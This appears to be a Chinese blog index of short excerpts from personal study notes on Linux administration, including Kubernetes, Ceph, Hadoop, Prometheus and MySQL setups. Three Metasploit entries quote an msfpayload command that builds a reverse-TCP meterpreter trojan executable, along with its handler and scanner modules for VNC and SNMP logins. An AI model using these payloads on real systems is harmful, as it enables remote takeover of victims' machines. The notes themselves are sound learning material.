
学习笔记
七分熟见手青
学习的小菜
展开
-
Prometheus修炼手册(二)node-exporter
监控linux机器下载node-exporter 的tar包下载链接:https://github.com/prometheus/node_exporter/releases/download/v1.0.1/node_exporter-1.0.1.linux-amd64.tar.gzwget https://github.com/prometheus/node_exporter/releases/download/v1.0.1/node_exporter-1.0.1.linux-amd64.tar.g原创 2020-11-24 15:22:55 · 586 阅读 · 0 评论 -
Prometheus修炼手册(一)安装Prometheus&Grafana
环境准备系统/组件版本下载地址CentOS7.6–go1.15.5https://dl.google.com/go/go1.15.5.linux-amd64.tar.gzprometheus2.22.2https://github.com/prometheus/prometheus/releases/download/v2.22.2/prometheus-2.22.2.linux-amd64.tar.gzGrafana5.4.2https://dl.原创 2020-11-24 13:45:05 · 636 阅读 · 0 评论 -
Centos7 搭建ceph集群
Ceph中文开源社区地址:http://ceph.org.cn/Ceph官方文档:http://docs.ceph.org.cn/ceph理论性的东西这里我就不说了,有兴趣的同学可以去看官方文档,我这就直接上实验过程了~机器准备HostNameIP功能Ceph110.15.5.246admin,osd,monCeph210.15.5.247osd,mdsCeph310.15.5.248osd,mdsCeph410.15.5.249client原创 2020-10-23 11:20:47 · 2409 阅读 · 4 评论 -
CentOS7安装scala
系统版本[root@zk-node2 hadoop]# cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core)下载scalawget https://downloads.lightbend.com/scala/2.11.8/scala-2.11.8.tgz解压&配置环境变量mkdir /usr/local/scalatar xf scala-2.11.8.tgz -C /usr/local/scalaecho "P原创 2020-10-21 10:39:54 · 343 阅读 · 0 评论 -
Centos7搭建Hadoop集群(单点)笔记
环境准备依然沿用之前Centos7搭建zookeeper集群的机器,基本配置如下,关闭防火墙,selinux,修改hostname,配置免密互信配置hosts文件vim /etc/hosts10.15.5.240 zk-master10.15.5.241 zk-node110.15.5.242 zk-node2使其可以通过hostname 通信(三台都需要配置)配置ssh 免密在三台主机都执行ssh-keygen -t rsassh-copy-id zk-masterssh-原创 2020-10-20 16:46:43 · 342 阅读 · 0 评论 -
Centos7搭建zookeeper集群
系统环境HostnameIP应用zk-master10.15.5.240zookeeperzk-node110.15.5.241zookeeperzk-node210.15.5.242zookeeper系统版本:CentOS Linux release 7.6.1810 (Core)JDK版本:java version “1.8.0_211”下载安装包下载地址:http://mirror.bit.edu.cn/apache/zookeeper/w原创 2020-10-20 13:59:25 · 307 阅读 · 0 评论 -
Unable to connect to the server: x509: certificate signed by unknown authority报错解决
起因,在使用二进制搭建k8s集群的时候出现的一个v报错~报错内容:[root@k8s-master bin]# kubectl create clusterrolebinding kubelet-bootstrap \> --clusterrole=system:node-bootstrapper \> --user=kubelet-bootstrapUnable to connect to the server: x509: certificate signed by unknown原创 2020-10-16 16:43:09 · 5169 阅读 · 2 评论 -
二进制部署k8s集群笔记
前两天试了下通过kubeadm的方式部署k8s集群~发现还蛮简单的,于是,又尝试了一下通过二进制部署。准备工作服务器准备四个节点,一个master 以及三个node|HostNameIP安装组件k8s-master10.15.5.230kube-apiserver, kube-controller-manager, kube-schedulerk8s-node110.15.5.231kube-apiserver, kube-controller-manager,原创 2020-10-16 16:35:39 · 704 阅读 · 0 评论 -
git-lfs 上传大于100M的文件到github
起因今天在整理k8s学习笔记的时候,想要把一些用到的tar.gz 上传到github,于是按照往常,在github 创建仓库,然后在本地创建目录,初始化一下后就开始上传了~传着传着就报错了:[k8s-study] git push -u origin main main Enumerati原创 2020-10-16 10:27:28 · 352 阅读 · 0 评论 -
kubeadm 方式搭建k8s笔记
环境准备四台Centos7虚拟机:10.15.5.230 ks-master10.15.5.231 k8s-node110.15.5.232 k8s-node210.15.5.233 k8s-node3基础设置修改主机名以及hosts文件(全部主机)hostnamectl set-hostname myhostname(分别修改主机的主机名)# 修改hosts文件cat <<EOF > /etc/sysctl.d/k8s.conf10.15.5.230 k8s-m原创 2020-10-14 10:54:56 · 1275 阅读 · 1 评论 -
CentOS7 搭建ELK笔记
系统环境[root@elk ~]# cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) [root@elk ~]# getenforce Permissive[root@elk ~]# systemctl status firewalld● firewalld.service - firewalld - dynamic firewall daemon Loaded: loaded (/usr/lib/systemd/sy原创 2020-10-12 14:54:30 · 846 阅读 · 3 评论 -
Centos7 使用ssm调整lvm下目录空间
起因今天在安装centos7的时候分区选的自动lvm分区,然后在装完系统后发现,大部分空间放到了/home ,而/ 分区的空间少的可怜!!!不能忍!!PS:使用本方法时需要注意:centos7刚安装完成后还需要创建一个普通用户,那样的话你就没法直接umount /home了,重启一下,直接远程即可;若是有数据的话,先保存到其他位置,完事后重新创建/home分区,怎么创建就自己看着办了工具:system-storage-manager下载system-storage-manageryum -y原创 2020-09-15 15:52:30 · 300 阅读 · 0 评论 -
centos7搭建iscsi server&client
系统版本[root@localhost ~]# cat /etc/redhat-releaseCentOS Linux release 7.6.1810 (Core)[root@localhost ~]# hostname -I10.15.5.233安装server端target,添加一块磁盘[root@localhost ~]# yum -y install targetd targetcli[root@localhost ~]# systemctl restart targetd[r原创 2020-07-30 13:58:43 · 1289 阅读 · 0 评论 -
H3C交换机基本配置笔记
配置ip我的进线插在管理口,所以在管理口配置ip,并且开启远程[H3C-M-GigabitEthernet0/0/0]ip address 10.15.10.243 24[H3C]ip route-static 0.0.0.0 0 10.15.10.1开启远程使用telnet功能需要本机具有up状态的三层接口 telnet server enable //开启本机telnet功能 ssh server enable //开启本机远程功能 local-user admin class原创 2020-07-28 17:25:22 · 3206 阅读 · 2 评论 -
navicat 连接mysql8报错
报错信息:1251-Client does not support authentication protocol requested by server; consider upgrading MySQL client报错原因:mysql8版本加密规则是 caching_sha2_password,而8之前版本加密规则为 mysql_navicat_password解决方法:1.升级...原创 2020-02-10 11:23:13 · 531 阅读 · 0 评论 -
centos8 安装docker19报错
今天在centos8上准备安装个docker,按照平常的安装方法,抛出了一个报错[root@localhost ~]# yum install docker-ceExtra Packages for Enterprise Linux 8 - x86_64 ...原创 2019-11-12 16:53:16 · 5221 阅读 · 2 评论 -
编译安装gcc9.2.0
编译升级gcc下载包wget http://ftp.gnu.org/gnu/gcc/gcc-9.2.0/gcc-9.2.0.tar.gz解压& cdtar xf gcc-9.2.0.tar.gzcd gcc-9.2.0环境准备./contrib/download_prerequisites创建编译输出目录,将所有的中间文件都放到该目录mdkir gcc-build...原创 2019-11-06 15:36:19 · 3318 阅读 · 0 评论 -
msf学习之木马
msfpayload windows/meterpreter/reverse_tcp LHOST=10.24.194.155 LPORT=55555 X >text.exe生成一个text.exe的木马文件msf > use exploit/multi/handler 使用handler这个模块msf exploit(原创 2017-07-29 14:58:38 · 2141 阅读 · 0 评论 -
msf之VNC身份识别
use auxiliary/scanner/vnc/vnc_none_authmsf auxiliary(vnc_none_auth) > show optionsModule options (auxiliary/scanner/vnc/vnc_none_auth):Name Current Setting Required Descr原创 2017-07-29 15:08:48 · 1704 阅读 · 0 评论 -
msf之SNMP的扫描与枚举
msf > use auxiliary/scanner/snmp/snmp_login msf auxiliary(snmp_login) > show optionsModule options (auxiliary/scanner/snmp/snmp_login):Name Current Setting Required Descr原创 2017-07-29 15:10:33 · 2390 阅读 · 1 评论 -
Nginx简单的安装排错
安装 nginx 所需要的pcre库 即:perl 兼容正则表达式 yum install pcre pcre-devel -y rpm -qa pcre pcre-devel 检查是否安装好pcre-devel,openssl-devel, rpm -qa pcre-devel pcre ...原创 2018-08-12 18:16:16 · 443 阅读 · 0 评论 -
Tomcat 安装轶事
开始时在网上找了一个教程,用他给的链接去下载,但是,刚一下完,一解压就报错 [root@localhost ~]# tar xf jdk-8u60-linux-x64.tar.gz -C /usr/local/ gzip: stdin: not in gzip format tar: Child returned status 1 tar: Error is...原创 2018-08-12 18:26:23 · 395 阅读 · 0 评论 -
ansible简单的安装配置
ansible 安装配置### ansible 组成:~~~Control Node:控制机器Inventory:主机清单,配置管理主机列表Playbooks:剧本、任务编排。根据规则定义多个任务,模块组织结构清晰,由ansible自动执行。Modules(Core | Custom):模块,用于执行某个具体的任务connection plugin(连接插件):Ansible通过...原创 2018-08-13 15:47:46 · 501 阅读 · 0 评论 -
centOS 7下python2升级为python3
### centos 7 下升级python2到3### centos 7下python自带版本为2.7,但是今天需要用到3,所以升级了一下### 首先安装依赖包~~~yum -y groupinstall "Development tools"yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel s...原创 2018-08-13 15:50:06 · 1162 阅读 · 0 评论 -
centos7 通过git连接GitHub仓库
### Linux版本:CentOS7### Git的安装就不多说了,直入主题。#### GIT连接到GITHUB#### git基础配置~~~git config --global user.name fakehydra --这里用的你的GitHub的用户名git config --global user.email 1578259905@qq.com --这...原创 2018-08-13 15:52:56 · 689 阅读 · 0 评论 -
centos7下安装docker
### centos7下安装dockerDocker从1.13版本之后采用时间线的方式作为版本号,分为社区版CE和企业版EE。社区版是免费提供给个人开发者和小型团体使用的,企业版会提供额外的收费服务,比如经过官方测试认证过的基础设施、容器、插件等。社区版按照stable和edge两种方式发布,每个季度更新stable版本,如17.06,17.09;每个月份更新edge版本,如17.0...原创 2018-08-13 15:54:04 · 315 阅读 · 0 评论 -
curl error (7)拒绝连接
### curl: (7) Failed connect to 10.0.0.210:9200; 拒绝连接### 没有到主机的路由这种问题很常见,多数是由机器的防火墙没有关闭。### Ubuntu#### 查看防火墙状态 ufw status#### 关闭防火墙 ufw disable### centos6#### 查看防火墙状态 ...原创 2018-08-13 15:56:20 · 74391 阅读 · 10 评论 -
Linux三剑客命令之grep学习笔记
#### Linux三剑客命令之grep### 1.grep 命令详解 grep 是Linux系统中最重要的命令之一--其主要功能为:从文本文件或管道数据流中筛选匹配的行以及数据(可配合正则表达式一起使用,功能更强大)---此为Linux运维人员必须要掌握的命令之一### 2.语法格式 grep [options(参数)] [pattern (匹配模式)]...原创 2018-08-13 16:25:44 · 1313 阅读 · 0 评论 -
Linux三剑客命令着sed学习笔记
### 1.sed 命令详解 sed是Stream Editor(字符流编辑器)的缩写,简称流编辑器 sed是操作、过滤和转换文本内容的强大工具。常用功能包括对文件实现快速增删改查, 其中查询的功能中最常用的两大功能是过滤(过滤指定字符串),取行(取出指定行)。### 2.语法格式 sed [选项] '[sed 指令]' [文件信息]## 说明: ...原创 2018-08-13 16:26:43 · 311 阅读 · 0 评论 -
Linux快捷键整理
##### 最最最最有用的快捷键来一套?### 最有用的快捷键 tab --命令或路径等的补全 Ctrl+a --光标回到命令行首 Ctrl+e --光标回到命令行尾 Ctrl+f --光标向右移动一个字符(相当于方向键右键) Ctrl+b --光标向左移动一个字符(相当于方向键左键)### 剪切、粘贴、清除快捷键 Ctr...原创 2018-08-13 16:27:54 · 236 阅读 · 0 评论 -
GitHub Pages自定义域名后每次hexo d都会失效解决
在GitHub Pages设置自定义域名之后,发现每次hexo d 后都会失效,又要重新设置,太麻烦了。于是,问了一下牛皮的百度老师只要在source 目录添加一个新文件CNAME就好CNAME –不带任何后缀,这就是全称,里面写的是你的域名然后就ok了。怎么push都不用再去GitHub Pages设置了(^o^)/~...转载 2018-09-05 09:55:55 · 3292 阅读 · 5 评论 -
ntp时间服务器搭建
系统: centos6.xntp服务器: 10.0.0.61下载安装 yum install ntp ntpdate修改配置文件:/etc/ntp/conf [root@vpn scripts]# cat /etc/ntp.conf # For more information about this file, see the man pages # ntp....原创 2018-09-17 10:48:54 · 355 阅读 · 0 评论 -
centos搭建本地yum仓库
系统环境 [root@yum ~]# uname -a Linux yum 2.6.32-696.el6.x86_64 #1 SMP Tue Mar 21 19:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux创建目录 mkdir -p /application/yum/centos6.6/x86_64/进入目录 cd /ap...原创 2018-09-17 10:54:51 · 1787 阅读 · 0 评论 -
iptables 简单介绍
导读 管理网络流量是系统管理员必需处理的最棘手工作之一,我们必需规定连接系统的用户满足防火墙的传入和传出要求,以最大限度保证系统免受攻击。很多用户把 Linux 中的 IPTables 当成一个防火墙,从严格意见上来说 IPTables 只是能够帮助管理员定义各种规则并与 Linux Kernel 进行沟通的一个命令行工具。它只是帮助管理员配置网络流量的传入、传出规则列表,具体的实现其实是在 L...转载 2018-09-17 20:56:26 · 290 阅读 · 0 评论 -
mysql 主从
mysql主从什么是mysql主从复制 MySQL主从复制是其最重要的功能之一。主从复制是指一台服务器充当主数据库服务器,另一台或多台服务器充当从数据库服务器,主服务器中的数据自动复制到从服务器之中。对于多级复制,数据库服务器即可充当主机,也可充当从机。MySQL主从复制的基础是主服务器对数据库修改记录二进制日志,从服务器通过主服务器的二进制日志自动执行更新。主从复制类型基于语句的复制...原创 2018-09-17 20:57:46 · 285 阅读 · 0 评论 -
keepalived 简单安装部署应用
如果你在面试时,要你解答Keepalived的工作原理,建议用自己的话回答如下内容,以下为对面试官的表述:Keepalived高可用对之间是通过VRRP通信的,因此,我从VRRP开始给您讲起:1)VRRP,全称Virtual Router Redundancy Protocol,中文名为虚拟路由冗余协议,VRRP的出现是为了解决静态路由的单点故障。2)VRRP是通过一种竞选协议机制来将路由任...原创 2018-09-17 21:00:59 · 730 阅读 · 0 评论 -
linux 快捷键
linux最最最最有用的快捷键来一套?tab --命令或路径等的补全Ctrl+a --光标回到命令行首Ctrl+e --光标回到命令行尾Ctrl+f --光标向右移动一个字符(相当于方向键右键)Ctrl+b --光标向左移动一个字符(相当于方向键左键)剪切、粘贴、清除快捷键Ctrl+Insert --复制命令行内容shift+Insert --粘贴命令行内容Ctrl...原创 2018-09-20 20:33:28 · 234 阅读 · 0 评论 -
xshell 接连接linux一直显示服务器拒绝密码
用Xshell root连接时显示ssh服务器拒绝了密码,应该是应该是sshd的设置不允许root用户用密码远程登录修改 /etc/ssh/sshd_config文件,注意,安装了openssh才会有这个文件,如果文件不存在请检查是否安装了openssh。 vim /etc/ssh/sshd_config 找到# Authentication:LoginGraceTi...原创 2018-09-20 20:35:50 · 6842 阅读 · 2 评论 -
mysql学习笔记之权限
MySQL权限的定义01.作用对象 库、表02.权限 细化到具体命令03.归属 每次设定只能有一个“属主”。没有属组或其他 概念grant all on test.* to test@‘10.0.0.%’ identified by ‘123’; grant --授权命令 all --所有权限代表,等价于把所有权限输一遍 on --指定作用对象 test...原创 2018-10-11 11:36:51 · 264 阅读 · 0 评论 -
cobbler 无人值守安装
所需服务 PXE服务支持 DHCP服务管理 DNS服务管理(可选bind,dnsmasq) 电源管理 Kickstart服务支持 YUM仓库管理 TFTP(PXE启动时需要) Apache(提供kickstart的安装源,并提供定制化的kickstart配置)环境 [root@cobbler ~]# cat /etc/centos-release CentOS Linux ...原创 2018-10-12 17:08:30 · 703 阅读 · 0 评论